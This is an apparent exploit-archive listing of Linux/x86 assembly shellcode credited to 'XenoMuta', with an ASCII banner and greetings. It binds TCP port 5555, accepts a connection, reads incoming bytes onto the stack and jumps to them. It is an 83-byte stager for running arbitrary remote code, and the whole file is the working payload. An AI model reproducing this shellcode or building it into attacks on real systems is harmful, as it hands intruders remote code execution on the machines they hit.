| 
	  /*     _  __                 __  ___      __           | |/ /__  ____  ____  /  |/  /_  __/ /_____ _    |   / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/   /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ /   /_/|_\___/_/ /_/\____/_/  /_/\__,_/\__/\__,_/   
 xenomuta\x40phreaker\x2enet  http://xenomuta.tuxfamily.org/ - Methylxantina 256mg 
 Description:   linux/x86 listens for shellcode on tcp/5555 and jumps to it  OS: Linux  Arch: x86  Length: 83 bytes  Author: XenoMuta 
 greetz to:    str0k3 (tnx for your effort), emra (fragancia),   fr1t0l4y (dejate ver), garay (no me olvido de los pobres ;p )   - God bless you all - */ .global _start 
_start:  xor %ebx, %ebx  mov %ebx, %eax 
_socket:  push $0x6  push $0x1  push $0x2  mov $0x66, %al   incb %bl  mov %esp, %ecx  int $0x80 
_bind:  mov %eax, %edi  xor %edx, %edx  push %edx  pushw $0xb315 /* 5555 */  pushw %bx  mov %esp, %ecx  push $0x10  push %ecx  push %edi  mov $0x66, %al  incb %bl  mov %esp, %ecx  int $0x80 
_listen:  incb %bl  push $0x1  push %edi  mov $0x66, %al  incb %bl  mov %esp, %ecx  int $0x80 
_accept:  push %edx  push %edx  push %edi  mov $0x66, %al  incb %bl  mov %esp, %ecx  int $0x80  mov %eax, %ebx 
_read:  mov $0x3, %al  mov %esp, %ecx  mov $0x7ff, %dx  incb %dl  int $0x80  jmp *%ecx /* Jump to our shellcode */  
	
  |